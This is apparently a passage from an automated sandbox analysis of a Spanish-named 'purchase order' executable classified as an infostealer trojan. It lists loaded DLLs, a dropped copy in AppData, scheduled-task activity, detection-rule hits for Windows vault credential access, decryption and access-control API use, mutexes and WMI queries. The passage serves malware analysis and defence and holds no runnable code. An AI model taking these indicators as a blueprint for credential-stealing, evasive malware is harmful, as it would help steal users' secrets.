Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Section loaded: edputil.dll

Source: nOrden_de_compra.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.nOrden_de_compra.exe.3fb4308.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.nNdsLvHyWi.exe.3a78c38.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.nOrden_de_compra.exe.3f77ae8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.nNdsLvHyWi.exe.3ab5458.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.nNdsLvHyWi.exe.3ab5458.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.nNdsLvHyWi.exe.3a78c38.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.nOrden_de_compra.exe.3f77ae8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: nOrden_de_compra.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: nNdsLvHyWi.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.nOrden_de_compra.exe.3ca9970.4.raw.unpack, lY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, UyDMxsd3t.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, 86A7K.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, vztq.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, B80ITW1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, uQSn7t.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, bEoUgRL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, Dg1qrk6E.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.nOrden_de_compra.exe.3fb4308.2.raw.unpack, Dg1qrk6E.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, kp8qwk5XbcOdplPSn8.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, kp8qwk5XbcOdplPSn8.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, VahwTb7cT8mornX0bA.cs	Security API names: _0020.SetAccessControl
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, VahwTb7cT8mornX0bA.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, VahwTb7cT8mornX0bA.cs	Security API names: _0020.AddAccessRule
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, VahwTb7cT8mornX0bA.cs	Security API names: _0020.SetAccessControl
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, VahwTb7cT8mornX0bA.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, VahwTb7cT8mornX0bA.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/15@2/2

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

File created: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4344:120:WilError_03
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Mutant created: \Sessions\1\BaseNamedObjects\BVLcFHVzoBgkOFRmqAinQVZmS
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_03

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

File created: C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp

Jump to behavior

Source: nOrden_de_compra.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: nOrden_de_compra.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

